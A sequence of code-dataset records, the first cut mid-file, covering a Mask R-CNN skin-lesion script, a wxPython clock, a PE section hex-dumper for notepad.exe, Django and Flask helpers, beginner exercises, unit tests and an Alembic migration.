though.\n # gray = skimage.color.gray2rgb(skimage.color.rgb2gray(image)) * 255\n\n image = np.array(image)\n # boxes = region['rois']\n # N = boxes.shape[0]\n\n # for i in range(N):\n # if not np.any(boxes[i]):\n # # Skip this instance. Has no bbox. Likely lost in image cropping.\n # continue\n # y1, x1, y2, x2 = boxes[i]\n \n # # radius = max(abs(x2-x1),abs(y2-y1))\n # radius = 30\n # x = abs(x2 - x1)\n # y = abs(y2 - y1)\n # print(x,y,radius,\"ZZZZZZZZZZZZZZZZZZZ\")\n # image = blemishRemoval(image,x,y,radius)\n\n\n # image = GuidedFilt(image,4,0.002)\n # gd = GuidedFilt(image,6,0.004)\n # We're treating all instances as one, so collapse the mask into one layer\n mask = (np.sum(mask, -1, keepdims=True) >= 1)\n # Copy color pixels from the original color image where mask is set\n if mask.shape[0] > 0:\n gd = GuidedFilt(image,4,0.008)\n splash = np.where(mask, gd, image).astype(np.uint8)\n else:\n splash = image\n return splash\n\ndef blemishRemoval(source,x, y,r):\n # Referencing global variables\n # global r, source\n # Action to be taken when left mouse button is pressed\n # Mark the center\n blemishLocation = (x,y)\n # print(blemishLocation,\"blemishLocation\")\n newX, newY = selectedBlemish(source,x,y,r)\n print(newX,newY,\"NEWWWWWWWWWW\")\n newPatch = source[newY:(newY+2*r), newX: (newX+2*r)]\n # newPatch = np.where(newPatch<0, 0, newPatch) \n # cv2.imwrite(\"newpatch.png\", newPatch) # Create mask for the new Patch\n mask = 255 * np.ones(newPatch.shape, newPatch.dtype)\n \n source = cv2.seamlessClone(newPatch, source, mask, blemishLocation, cv2.NORMAL_CLONE)\n # cv2.imshow(\"Blemish Removal App\", source)\n # Action to be taken when left mouse button is released\n return source\n\ndef selectedBlemish(source,x,y,r):\n global i\n crop_img = source[y:(y+2*r), x:(x+2*r)]\n # i = 1 + 1\n # cv2.imwrite(\"blemish-\"+ str(1) +\".png\", crop_img)\n return identifybestPatch(source,x,y,r)\n\n\ndef identifybestPatch(source,x,y,r):\n # Nearby Patches in all 8 directions\n patches={}\n key1tup = appendDictionary(source,x+2*r,y,r)\n patches['Key1'] = (x+2*r,y,key1tup[0],key1tup[1])\n\n key2tup = appendDictionary(source,x+2*r,y+r,r)\n patches['Key 2'] = (x+2*r,y+r, key2tup[0], key2tup[1])\n\n if x-2*r < 0:\n key3tup = appendDictionary(source,0,y,r)\n patches['Key 3'] = (0,y, key3tup[0], key3tup[1])\n else:\n key3tup = appendDictionary(source,x-2*r,y,r)\n patches['Key 3'] = (x-2*r,y, key3tup[0], key3tup[1])\n\n if x-2*r < 0 and y-r<0:\n key4tup = appendDictionary(source,0,0,r)\n patches['Key4'] = (0,0, key4tup[0], key4tup[1])\n elif x-2*r <0 and y-r >0:\n key4tup = appendDictionary(source,0,y-r,r)\n patches['Key4'] = (0,y-r, key4tup[0], key4tup[1])\n elif x-2*r>0 and y-r<0:\n key4tup = appendDictionary(source,x-2*r,0,r)\n patches['Key4'] = (x-2*r,0, key4tup[0], key4tup[1])\n elif x-2*r>0 and y-r>0:\n key4tup = appendDictionary(source,x-2*r,y-r,r)\n patches['Key4'] = (x-2*r,y-r, key4tup[0], key4tup[1]) \n\n key5tup = appendDictionary(source,x,y+2*r,r)\n patches['Key5'] = (x, y+2*r, key5tup[0], key5tup[1])\n\n key6tup = appendDictionary(source,x+r,y+2*r,r)\n patches['Key6'] = (x+r,y+2*r, key6tup[0], key6tup[1])\n\n if y-2*r<0:\n key7tup = appendDictionary(source,x,0,r)\n patches['Key7'] = (x, 0, key7tup[0], key7tup[1])\n else:\n key7tup = appendDictionary(source,x,y-2*r,r)\n patches['Key7'] = (x, y-2*r, key7tup[0], key7tup[1])\n\n if x-r<0 and y-2*r<0:\n key8tup = appendDictionary(source,0,0,r)\n patches['Key8'] = (0,0, key8tup[0], key8tup[1])\n elif x-r<0 and y-2*r>0:\n key8tup = appendDictionary(source,0,y-2*r,r)\n patches['Key8'] = (0, y-2*r, key8tup[0], key8tup[1])\n elif x-r>0 and y-2*r<0:\n key8tup = appendDictionary(source,x-r,0,r)\n patches['Key8'] = (x-r, 0, key8tup[0], key8tup[1])\n elif x-r>0 and y-2*r>0:\n key8tup = appendDictionary(source,x-r,y-2*r,r)\n patches['Key8'] = (x-r, y-2*r, key8tup[0], key8tup[1])\n\n findlowx = {}\n findlowy = {}\n for key,(x, y, gx, gy) in patches.items():\n findlowx[key] = gx\n\n for key,(x, y, gx, gy) in patches.items():\n findlowy[key] = gy\n\n y_key_min = min(findlowy.keys(), key=(lambda k: findlowy[k]))\n x_key_min = min(findlowx.keys(), key=(lambda k: findlowx[k]))\n\n print(patches,\"PATCHHHHHHH\")\n\n if x_key_min == y_key_min:\n return patches[x_key_min][0],patches[x_key_min][1]\n else:\n # print(\"Return x & y conflict, Can take help from FFT\")\n return patches[x_key_min][0],patches[x_key_min][1]\n\ndef appendDictionary(source,x,y,r):\n print(x,y,r,\"XXXXXXXXXXXXXXX\")\n crop_img = source[y:(y+2*r), x: (x+2*r)]\n gradient_x, gradient_y = sobelfilter(crop_img)\n return gradient_x, gradient_y\n\ndef sobelfilter(crop_img):\n print(type(crop_img),\"RRRRRRRR\")\n sobelx64f = cv2.Sobel(crop_img, cv2.CV_64F, 1,0, ksize=3)\n abs_xsobel64f = np.absolute(sobelx64f)\n sobel_x8u = np.uint8(abs_xsobel64f)\n gradient_x = np.mean(sobel_x8u)\n\n sobely64f = cv2.Sobel(crop_img,cv2.CV_64F,0,1, ksize=3)\n abs_ysobel64f = np.absolute(sobely64f)\n sobel_y8u = np.uint8(abs_ysobel64f)\n gradient_y = np.mean(sobel_y8u)\n\n return gradient_x, gradient_y\n\n\ndef RGB2HEX(color):\n return \"#{:02x}{:02x}{:02x}\".format(int(color[0]), int(color[1]), int(color[2]))\n\ndef get_colors(image, number_of_colors, show_chart):\n\n modified_image = cv2.resize(image, (600, 400), interpolation = cv2.INTER_AREA)\n modified_image = modified_image.reshape(modified_image.shape[0]*modified_image.shape[1], 3)\n\n clf = KMeans(n_clusters = number_of_colors)\n labels = clf.fit_predict(modified_image)\n\n counts = Counter(labels)\n # sort to ensure correct color percentage\n counts = dict(sorted(counts.items()))\n\n center_colors = clf.cluster_centers_\n # We get ordered colors by iterating through the keys\n ordered_colors = [colorsys.rgb_to_hsv(center_colors[i]) for i in counts.keys()]\n# print(center_colors[0],\"ZZZZZZZZ\")\n hex_colors = [RGB2HEX(ordered_colors[i]) for i in counts.keys()]\n rgb_colors = [ordered_colors[i] for i in counts.keys()]\n# np.array(colorsys.rgb_to_hsv(z[0][0],z[0][1],z[0][2]))\n if (show_chart):\n plt.figure(figsize = (8, 6))\n plt.pie(counts.values(), labels = hex_colors, colors = hex_colors)\n\n return rgb_colors\n\n\ndef color_splash(image, mask):\n \"\"\"Apply color splash effect.\n image: RGB image [height, width, 3]\n mask: instance segmentation mask [height, width, instance count]\n\n Returns result image.\n \"\"\"\n # Make a grayscale copy of the image. The grayscale copy still\n # has 3 RGB channels, though.\n gray = skimage.color.gray2rgb(skimage.color.rgb2gray(image)) * 255\n # We're treating all instances as one, so collapse the mask into one layer\n mask = (np.sum(mask, -1, keepdims=True) >= 1)\n # Copy color pixels from the original color image where mask is set\n if mask.shape[0] > 0:\n splash = np.where(mask, image, gray).astype(np.uint8)\n else:\n splash = gray\n return splash\n\n\ndef detect_and_color_splash(model, image_path=None, video_path=None, out_dir=''):\n assert image_path or video_path\n\n class_names = ['BG', 'arm', 'ring']\n\n # Image or video?\n if image_path:\n # Run model detection and generate the color splash effect\n print(\"Running on {}\".format(args.image))\n # Read image\n image = skimage.io.imread(args.image)\n # Detect objects\n r = model.detect([image], verbose=1)[0]\n # Color splash\n # splash = color_splash(image, r['masks'])\n visualize.display_instances(image, r['rois'], r['masks'], r['class_ids'],\n class_names, r['scores'], making_image=True)\n file_name = 'splash.png'\n # Save output\n # file_name = \"splash_{:%Y%m%dT%H%M%S}.png\".format(datetime.datetime.now())\n # save_file_name = os.path.join(out_dir, file_name)\n # skimage.io.imsave(save_file_name, splash)\n elif video_path:\n import cv2\n # Video capture\n vcapture = cv2.VideoCapture(video_path)\n # width = int(vcapture.get(cv2.CAP_PROP_FRAME_WIDTH))\n # height = int(vcapture.get(cv2.CAP_PROP_FRAME_HEIGHT))\n width = 1600\n height = 1600\n fps = vcapture.get(cv2.CAP_PROP_FPS)\n # Define codec and create video writer\n file_name = \"splash_{:%Y%m%dT%H%M%S}.wmv\".format(datetime.datetime.now())\n vwriter = cv2.VideoWriter(file_name,\n cv2.VideoWriter_fourcc(*'MJPG'),\n fps, (width, height))\n\n count = 0\n success = True\n #For video, we wish classes keep the same mask in frames, generate colors for masks\n colors = visualize.random_colors(len(class_names))\n while success:\n print(\"frame: \", count)\n # Read next image\n plt.clf()\n plt.close()\n success, image = vcapture.read()\n if success:\n # OpenCV returns images as BGR, convert to RGB\n image = image[..., ::-1]\n # Detect objects\n r = model.detect([image], verbose=0)[0]\n # Color splash\n # splash = color_splash(image, r['masks'])\n\n splash = visualize.display_instances(image, r['rois'], r['masks'], r['class_ids'],\n class_names, r['scores'], colors=colors, making_video=True)\n # Add image to video writer\n vwriter.write(splash)\n count += 1\n vwriter.release()\n print(\"Saved to \", file_name)\n\n############################################################\n# RLE Encoding\n############################################################\n\ndef rle_encode(mask):\n \"\"\"Encodes a mask in Run Length Encoding (RLE).\n Returns a string of space-separated values.\n \"\"\"\n assert mask.ndim == 2, \"Mask must be of shape [Height, Width]\"\n # Flatten it column wise\n m = mask.T.flatten()\n # Compute gradient. Equals 1 or -1 at transition points\n g = np.diff(np.concatenate([[0], m, [0]]), n=1)\n # 1-based indicies of transition points (where gradient != 0)\n rle = np.where(g != 0)[0].reshape([-1, 2]) + 1\n # Convert second index in each pair to lenth\n rle[:, 1] = rle[:, 1] - rle[:, 0]\n return \" \".join(map(str, rle.flatten()))\n\n\ndef rle_decode(rle, shape):\n \"\"\"Decodes an RLE encoded list of space separated\n numbers and returns a binary mask.\"\"\"\n rle = list(map(int, rle.split()))\n rle = np.array(rle, dtype=np.int32).reshape([-1, 2])\n rle[:, 1] += rle[:, 0]\n rle -= 1\n mask = np.zeros([shape[0] * shape[1]], np.bool)\n for s, e in rle:\n assert 0 <= s < mask.shape[0]\n assert 1 <= e <= mask.shape[0], \"shape: {} s {} e {}\".format(shape, s, e)\n mask[s:e] = 1\n # Reshape and transpose\n mask = mask.reshape([shape[1], shape[0]]).T\n return mask\n\n\ndef mask_to_rle(image_id, mask, scores):\n \"Encodes instance masks to submission format.\"\n assert mask.ndim == 3, \"Mask must be [H, W, count]\"\n # If mask is empty, return line with image ID only\n if mask.shape[-1] == 0:\n return \"{},\".format(image_id)\n # Remove mask overlaps\n # Multiply each instance mask by its score order\n # then take the maximum across the last dimension\n order = np.argsort(scores)[::-1] + 1 # 1-based descending\n mask = np.max(mask * np.reshape(order, [1, 1, -1]), -1)\n # Loop over instance masks\n lines = []\n for o in order:\n m = np.where(mask == o, 1, 0)\n # Skip if empty\n if m.sum() == 0.0:\n continue\n rle = rle_encode(m)\n lines.append(\"{}, {}\".format(image_id, rle))\n return \"\\n\".join(lines)\n\ndef detect(model, dataset_dir, subset):\n \"\"\"Run detection on images in the given directory.\"\"\"\n print(\"Running on {}\".format(dataset_dir))\n\n os.makedirs('RESULTS')\n submit_dir = os.path.join(os.getcwd(), \"RESULTS/\")\n # Read dataset\n dataset = SkinDataset()\n dataset.load_VIA(dataset_dir, subset)\n dataset.prepare()\n # Load over images\n submission = []\n for image_id in dataset.image_ids:\n # Load image and run detection\n image = dataset.load_image(image_id)\n # Detect objects\n r = model.detect([image], verbose=0)[0]\n # Encode image to RLE. Returns a string of multiple lines\n source_id = dataset.image_info[image_id][\"id\"]\n rle = mask_to_rle(source_id, r[\"masks\"], r[\"scores\"])\n submission.append(rle)\n # Save image with masks\n canvas = visualize.display_instances(\n image, r['rois'], r['masks'], r['class_ids'],\n dataset.class_names, r['scores'], detect=True)\n # show_bbox=False, show_mask=False,\n # title=\"Predictions\",\n # detect=True)\n canvas.print_figure(\"{}/{}.png\".format(submit_dir, dataset.image_info[image_id][\"id\"][:-4]))\n # Save to csv file\n submission = \"ImageId,EncodedPixels\\n\" + \"\\n\".join(submission)\n file_path = os.path.join(submit_dir, \"submit.csv\")\n with open(file_path, \"w\") as f:\n f.write(submission)\n print(\"Saved to \", submit_dir)\n############################################################\n# Training\n############################################################\n\nif __name__ == '__main__':\n import argparse\n\n # Parse command line arguments\n parser = argparse.ArgumentParser(\n description='Train Mask R-CNN to detect rings and robot arms.')\n parser.add_argument(\"command\",\n metavar=\"<command>\",\n help=\"'train' or 'splash'\")\n parser.add_argument('--dataset', required=False,\n metavar=\"/home/simon/mask_rcnn/data/Skin\",\n help='Directory of the Skin dataset')\n parser.add_argument('--weights', required=True,\n metavar=\"/home/simon/logs/weights.h5\",\n help=\"Path to weights .h5 file or 'coco'\")\n parser.add_argument('--logs', required=False,\n default=DEFAULT_LOGS_DIR,\n metavar=\"/path/to/logs/\",\n help='Logs and checkpoints directory (default=logs/)')\n parser.add_argument('--image', required=False,\n metavar=\"path or URL to image\",\n help='Image to apply the color splash effect on')\n parser.add_argument('--video', required=False,\n metavar=\"path or URL to video\",\n help='Video to apply the color splash effect on')\n parser.add_argument('--subset', required=False,\n metavar=\"Dataset sub-directory\",\n help=\"Subset of dataset to run prediction on\")\n args = parser.parse_args()\n\n # Validate arguments\n if args.command == \"train\":\n assert args.dataset, \"Argument --dataset is required for training\"\n\n elif args.command == \"splash\":\n assert args.image or args.video,\\\n \"Provide --image or --video to apply color splash\"\n\n print(\"Weights: \", args.weights)\n print(\"Dataset: \", args.dataset)\n print(\"Logs: \", args.logs)\n\n # Configurations\n if args.command == \"train\":\n config = SkinConfig()\n else:\n class InferenceConfig(SkinConfig):\n # Set batch size to 1 since we'll be running inference on\n # one image at a time. Batch size = GPU_COUNT * IMAGES_PER_GPU\n GPU_COUNT = 1\n IMAGES_PER_GPU = 1\n config = InferenceConfig()\n config.display()\n\n # Create model\n if args.command == \"train\":\n model = modellib.MaskRCNN(mode=\"training\", config=config,\n model_dir=args.logs)\n else:\n model = modellib.MaskRCNN(mode=\"inference\", config=config,\n model_dir=args.logs)\n\n # Select weights file to load\n if args.weights.lower() == \"coco\":\n weights_path = COCO_WEIGHTS_PATH\n # Download weights file\n if not os.path.exists(weights_path):\n utils.download_trained_weights(weights_path)\n elif args.weights.lower() == \"last\":\n # Find last trained weights\n weights_path = model.find_last()[1]\n elif args.weights.lower() == \"imagenet\":\n # Start from ImageNet trained weights\n weights_path = model.get_imagenet_weights()\n else:\n weights_path = args.weights\n\n # Load weights\n print(\"Loading weights \", weights_path)\n if args.weights.lower() == \"coco\":\n # Exclude the last layers because they require a matching\n # number of classes\n model.load_weights(weights_path, by_name=True, exclude=[\n \"mrcnn_class_logits\", \"mrcnn_bbox_fc\",\n \"mrcnn_bbox\", \"mrcnn_mask\"])\n else:\n model.load_weights(weights_path, by_name=True)\n\n # Train or evaluate\n if args.command == \"train\":\n train(model)\n elif args.command == \"detect\":\n detect(model, args.dataset, args.subset)\n elif args.command == \"splash\":\n detect_and_color_splash(model, image_path=args.image,\n video_path=args.video)\n else:\n print(\"'{}' is not recognized. \"\n \"Use 'train' or 'splash'\".format(args.command))\n\n\n# dataset_dir = '/home/simon/deeplearning/mask_rcnn/data'\n# dataset_train = SkinDataset()\n# dataset_train.VIA(dataset_dir, \"train\")\n# # dataset_train.prepare()\n# a, b = dataset_train.load_mask(130)\n# print(a.shape, b.shape)\n# print(b)\n","sub_path":"kayaApp/skin_diagnosis.py","file_name":"skin_diagnosis.py","file_ext":"py","file_size_in_byte":29866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"622878455","text":"import wx\nimport time\nimport threading\nfrom paint import Paint as pt\nimport fonts\nimport common as cmm\n\nclass timeDisplay(wx.Panel):\n def __init__(self,parent,id,curUser):\n wx.Panel.__init__(self,parent,id)\n self.fontBold = wx.Font(16,wx.ROMAN,wx.ITALIC,wx.BOLD)\n self.fontBold1 = wx.Font(20,wx.ROMAN,wx.ITALIC,wx.BOLD)\n self.curUser = curUser\n self.curTime = cmm.getTimeAndWeek()\n\n #multi-threading\n thd = threading.Thread(target=self.refreshTime,args=())\n self.createStaticText()\n if not callable(self):\n return\n thd.start()\n\n def TextInfo(self):\n week = cmm.getTimeAndWeek()\n week = week[1]\n return [\"Hi, \"+self.curUser,self.curTime[0],\"Week \"+str(week)]\n\n def titleColorInfo(self):\n return [\"DARK TURQUOISE\",\"AQUAMARINE\",\"MEDIUM TURQUOISE\"]\n\n def createStaticText(self):\n sizer = wx.BoxSizer(wx.HORIZONTAL)\n self.textList = []\n i = 0\n for eachItem in self.TextInfo():\n text = wx.StaticText(self,id=-1,label=str(eachItem),style=wx.ROMAN|wx.ALIGN_CENTER)\n text.SetForegroundColour('Blue')\n #text.SetBackgroundColour(self.GetBackgroundColour())\n #text.SetBackgroundColour(self.titleColorInfo()[i])\n text.SetFont(fonts.Fonts.romanBold22())\n\n if 1 == i:\n sizer.Add(text,1,wx.ALIGN_CENTER)\n else :\n sizer.Add(text,1,wx.ALIGN_CENTER,10)\n i += 1\n self.textList.append(text)\n self.SetSizer(sizer)\n sizer.Layout()\n #sizer.Fit(self)\n\n def refreshTime(self):\n while True:\n self.curTime = cmm.getTimeAndWeek()[0]\n self.textList[1].SetLabel(str(self.curTime))\n time.sleep(1)\n\n def timeZoneLayout(self,greeting,timeBox):\n sizer = wx.BoxSizer(wx.HORIZONTAL)\n sizer.Add(greeting,1)\n sizer.Add(timeBox,1)\n #self.SetSizer(sizer)\n\n\n\nclass timeFrame(wx.Frame):\n def __init__(self,parent=None,id=-1,title=\"time display\",pos=(0,0),size=(800,600)):\n wx.Frame.__init__(self,parent,id,title,pos,size)\n\n self.panelTime = timeDisplay(self,-1,\"tester\")\n self.panelTime.SetBackgroundColour('White')\n\n #timeSizer = self.panelTime.createStaticText()\n self.paintWindow = pt(self,-1)\n\n mainBox = wx.BoxSizer(wx.VERTICAL)\n mainBox.Add(self.panelTime,1,wx.EXPAND)\n mainBox.Add(self.paintWindow,10,wx.EXPAND)\n\n self.SetSizer(mainBox)\n\n\n\nif __name__ == \"__main__\":\n app = wx.PySimpleApp()\n frame = timeFrame()\n frame.Show()\n app.MainLoop()","sub_path":"wx_learning/firstBlood/timeDisplay.py","file_name":"timeDisplay.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"362257545","text":"import sys\nimport pefile\n'''\nif len(sys.argv) is 1:\n print >> sys.stderr, '읽을 파일명을 입력해 주세요'\n exit(1)\n'''\ntry:\n # IN = open(sys.argv[1], 'rb') # 파일 오픈\n IN = open(\"c:\\\\windows\\\\system32\\\\notepad.exe\", 'rb') # 파일 오픈\nexcept IOError:\n print >> sys.stderr, '그런 파일이 없거나, 열기 에러입니다.'\n exit(1)\n\n#pe = pefile.PE(sys.argv[1])\npe = pefile.PE(\"c:\\\\windows\\\\system32\\\\notepad.exe\")\npointerToRawData = \"\"\ntextArea = 0\nfor section in pe.sections:\n if section.Name == b'.text\\x00\\x00\\x00':\n print(section)\n print(\"%x\" % section.PointerToRawData)\n pointerToRawData = \"%x\" % section.PointerToRawData\n sizeOfRawData = \"%x\" % section.SizeOfRawData\n print(sizeOfRawData)\n textArea = int(pointerToRawData, 16) + int(sizeOfRawData, 16)\n print(\"%x\" % textArea)\n\noffset = 0 # 번지 변수 초기화\n\nwhile True: # 무한 루프\n buf16 = IN.read(8) # 파일을 16바이트씩 읽어 버퍼에 저장\n buf16Len = len(buf16) # 버퍼의 실제 크기 알아내기\n if buf16Len == 0: break\n # print(\"%08X \" % (offset))\n # print(\"pointerToRawData : {}\".format(pointerToRawData.zfill(8)))\n\n # output = pointerToRawData.zfill(8)\n output = \"\"\n if \"%08X \" % (offset) > pointerToRawData.zfill(8) and \"%08X \" % (offset) < \"%08X\" % (textArea) :\n # output = \"%08X \" % (offset) # Offset(번지)을, 출력 버퍼에 쓰기 -> 주소값!!!!!!!!!!!!!!\n for i in range(buf16Len): # 헥사 부분의 헥사 값 16개 출력 (8개씩 2부분으로)\n if (i == 8): output += \" \" # 8개씩 분리\n # print(buf16Len)\n # print(buf16[i])\n # output += \"%02X \" % (ord(buf16[i])) # 헥사 값 출력\n output += \"%02X \" % (buf16[i]) # 헥사 값 출력\n for i in range( ((16 - buf16Len) * 3) + 1 ): # 한 줄이 16 바이트가 되지 않을 때, 헥사 부분과 문자 부분 사이에 공백들 삽입\n output += \" \"\n if (buf16Len < 9):\n output += \" \" # 한줄이 9바이트보다 적을 때는 한칸 더 삽입\n\n # for i in range(buf16Len): # 문자 구역 출력\n # if (buf16[i] >= 0x20 and buf16[i] <= 0x7E): # 특수 문자 아니면 그대로 출력\n # output += \"%c\" % int(buf16[i])\n # else: output += \".\" # 특수문자, 그래픽문자 등은 마침표로 출력\n\n print(output) # 1행 분량의 헥사 덤프 문자열이 든 버퍼를 출력\n offset += 8 # 번지 값을 16 증가\n\n\nif (offset == 0):\n print (\"%08X: \" % (offset)) # 0바이트 파일일 경우 처리\n\nIN.close # 파일 닫기","sub_path":"PROJ_COD/Machine/kim/get_BinToHex22222.py","file_name":"get_BinToHex22222.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"83419869","text":"from django.http import JsonResponse\nfrom django.contrib.auth.decorators import login_required\n\nfrom meetings.forms import MeetingForm\n\n\n@login_required\ndef meeting(request):\n form = MeetingForm(request)\n if form.is_valid():\n feedback = form.save()\n return JsonResponse({\n 'verified': True,\n 'feedback': feedback\n })\n\n else:\n return JsonResponse({\n 'verified': False,\n 'feedback': form.error_message()\n })\n","sub_path":"meetings/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"52504897","text":"\"\"\"\nModule: tablebuilders\nLocation: project\nPurpose: Provides functions that builds tables using flask_table\n\n\"\"\"\nfrom flask_table import Col, create_table\n\n\ndef build_project_team_staff_table(teamlist):\n \"\"\"Function to use flask-table to generate an html table from the\n data passed in.\n\n \"\"\"\n ## Build the table structure\n teamlisttable = create_table()\\\n .add_column('person_id',\n Col('PerId',\n column_html_attrs={'width':'40',\n 'align':'left'}))\\\n .add_column('name',\n Col('Name',\n column_html_attrs={'width':'800',\n 'align':'left'}))\\\n\n table = teamlisttable(teamlist)\n # return the table to the view\n return table\n\ndef build_project_team_users_table(teamlist):\n \"\"\"Function to use flask-table to generate an html table from the\n data passed in.\n\n \"\"\"\n ## Build the table structure\n teamlisttable = create_table()\\\n .add_column('username',\n Col('User',\n column_html_attrs={'width':'200',\n 'align':'left'}))\\\n .add_column('roles',\n Col('Roles',\n column_html_attrs={'width':'800',\n 'align':'left'}))\\\n\n table = teamlisttable(teamlist)\n # return the table to the view\n return table\n","sub_path":"app/projects/table_builders.py","file_name":"table_builders.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"329500941","text":"from oop_electric_shopping.Address import Address\nfrom oop_electric_shopping.Account import Account\nclass Vendor:\n\n def __init__(self,regNo,name,addr,acc):\n if type(addr)==Address:\n self.venAddress=addr\n else:\n print('Invalid Address...owner cannot be created')\n return\n\n if type(acc) == Account:\n self.venAccount = acc\n else:\n print('Invalid Account...owner cannot be created')\n return\n\n self.venregNo=regNo\n self.venName=name\n self.vendorInventory=[]\n\n\n def __str__(self):\n #return f'\\n{self.__dict__}'\n return '''\n ----------------------------------------------------\n Registration No : {}\n Vendor Name : {}\n Vendor Account : {} \n Vendor Addresss : {}\n Vendor Products : {}\n --------------------------------------------------------\n '''.format(self.venregNo,self.venName,self.venAccount,self.venAddress,self.vendorInventory)\n\n\n def __repr__(self):\n return str(self)\n","sub_path":"Vendor.py","file_name":"Vendor.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"384433637","text":"#! python3\n# Task2.py\n\n\"\"\"\nAsk the user to enter a number.\nTell them if the number is both a perfect square and a perfect cube.\n(2 points) \n\nInputs:\nnumber\n\nOutputs:\nxx is both a perfect square and a perfect cube.\nxx is only a perfect square.\nxx is only a perfect cube.\n\nExample:\nEnter a number: 8\n8 is only a perfect cube.\n\"\"\"\na = input(\"The number is:\")\n\nimport math\n\na = float(a)\n\nb = math.sqrt(a)\n\nc = math.pow(a,1/0.3)\n\nb = float(b)\n\nc = float(c)\n\nif b == int(b) and c == int(c):\n print(\"The number is a perfect square and a perfect cube\")\nelif b == int(b) and c != int(c):\n print(\"The number is only a perfect square\")\nelif b != int(b) and c == int(c):\n print(\"The number is only a perfect cube\")\nelif b != int(b) and c != int(c):\n print(\"The number is not a perfect square or a perfect cube\")","sub_path":"task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"138690647","text":"# В римской системе счисления для обозначения чисел используются следующие символы (справа записаны числа, которым они соответствуют в десятичной системе счисления):\n# I = 1\n# V = 5\n# X = 10\n# L = 50\n# C = 100\n# D = 500\n# M = 1000\n# Будем использовать вариант, в котором числа 4, 9, 40, 90, 400 и 900 записываются как вычитание из большего числа меньшего: IV, IX, XL, XC, CD и CM, соответственно.\n# Формат ввода:\n# Строка, содержащая натуральное число nn, 0 < n < 40000<n<4000.\n# Формат вывода:\n# Строка, содержащая число, закодированное в римской системе счисления.\n\nnumber = int(input())\ncp = number\ndischarge, nums, result = 1, set(), set()\nroman_nums = {\n 1: \"I\",\n 4: \"IV\",\n 5: \"V\",\n 9: \"IX\",\n 10: \"X\",\n 40: \"XL\",\n 50: \"L\",\n 90: \"XC\",\n 100: \"C\",\n 400: \"CD\",\n 500: \"D\",\n 900: \"CM\",\n 1000: \"M\"\n}\nwhile cp > 0:\n curr = cp % 10\n cp = cp // 10\n nums.add(curr * discharge)\n discharge = discharge * 10\n\nfor i in sorted(nums, reverse=True):\n if roman_nums.get(i, None):\n result.add(roman_nums[i])\n else:\n continue\n\n\n","sub_path":"stepik_task1.py","file_name":"stepik_task1.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"549122350","text":"from unittest import TestCase\n\nimport six\nfrom hypothesis import given, assume\n\nfrom invoker import invoker\nfrom tests.strategies import namespace_names, apps\n\n\nclass TestInvoker(TestCase):\n @given(apps())\n def test_no_env_is_given___tasks_are_added_to_the_root(self, app):\n ns = invoker(\n apps=[app[1]]\n )\n\n self.assertIn(app[0], list(ns.collections.keys()))\n self.assertIn('noop', ns.collections[app[0]].tasks)\n\n @given(apps(), namespace_names(), namespace_names())\n def test_envs_are_given___tasks_are_added_to_the_envs(self, app, first, second):\n assume(first != second)\n\n ns = invoker(\n apps=[app[1]],\n envs=[first, second],\n )\n\n self.assertEqual(list(sorted([first, second])), list(sorted(ns.collections.keys())))\n self.assertIn('noop', ns.collections[first].collections[app[0]].tasks)\n self.assertIn('noop', ns.collections[second].collections[app[0]].tasks)\n\n @given(apps(), namespace_names(), namespace_names())\n def test_envs_are_given_and_specified_for_the_app___tasks_are_added_to_the_specified_envs(self, app_name, first, second):\n assume(first != second)\n\n ns = invoker(\n apps=[{'path': app_name[1], 'envs': [first]}],\n envs=[first, second],\n )\n\n self.assertEqual(list(sorted([first, second])), list(sorted(ns.collections.keys())))\n self.assertIn('noop', ns.collections[first].collections[app_name[0]].tasks)\n self.assertNotIn(app_name[0], ns.collections[second].collections)\n\n def test_path_is_not_specified___value_error_is_raised(self):\n with six.assertRaisesRegex(self, ValueError, 'Each app specified must be a string or a dictionary containing a path') as ex:\n invoker(\n apps=[{'envs': ['first']}],\n envs=['first', 'second'],\n )\n\n @given(apps(), namespace_names(), namespace_names(), namespace_names())\n def test_app_has_an_overridden_namespace___tasks_are_added_to_the_envs_with_specified_env(self, app_name, first, second, custom):\n assume(first != second)\n\n ns = invoker(\n apps=[{'path': app_name[1], 'envs': [first], 'namespace': custom}],\n envs=[first, second],\n )\n\n self.assertEqual(list(sorted([first, second])), list(sorted(ns.collections.keys())))\n self.assertIn('noop', ns.collections[first].collections[custom].tasks)\n self.assertNotIn(custom, ns.collections[second].collections)\n\n @given(apps(), namespace_names())\n def test_env_name_is_added_to_namespace_configuration(self, app_name, env_name):\n ns = invoker(\n apps=[app_name[1]],\n envs=[env_name],\n )\n\n self.assertEqual(env_name, ns.collections[env_name].configuration()['env'])\n","sub_path":"tests/test_invoker.py","file_name":"test_invoker.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"539574864","text":"\"\"\"empty message\n\nRevision ID: d0ce82d8f0ed\nRevises: 73227eb2fa11\nCreate Date: 2017-10-09 16:35:39.808865\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'd0ce82d8f0ed'\ndown_revision = '73227eb2fa11'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('event', sa.Column('rewards', sa.ARRAY(sa.Integer()), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('event', 'rewards')\n # ### end 